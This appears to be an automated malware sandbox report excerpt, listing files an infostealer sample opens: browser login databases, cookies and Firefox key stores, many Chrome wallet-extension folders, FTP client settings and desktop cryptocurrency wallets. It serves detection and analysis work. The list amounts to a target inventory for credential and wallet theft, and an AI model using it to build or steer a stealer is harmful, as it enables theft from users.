Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
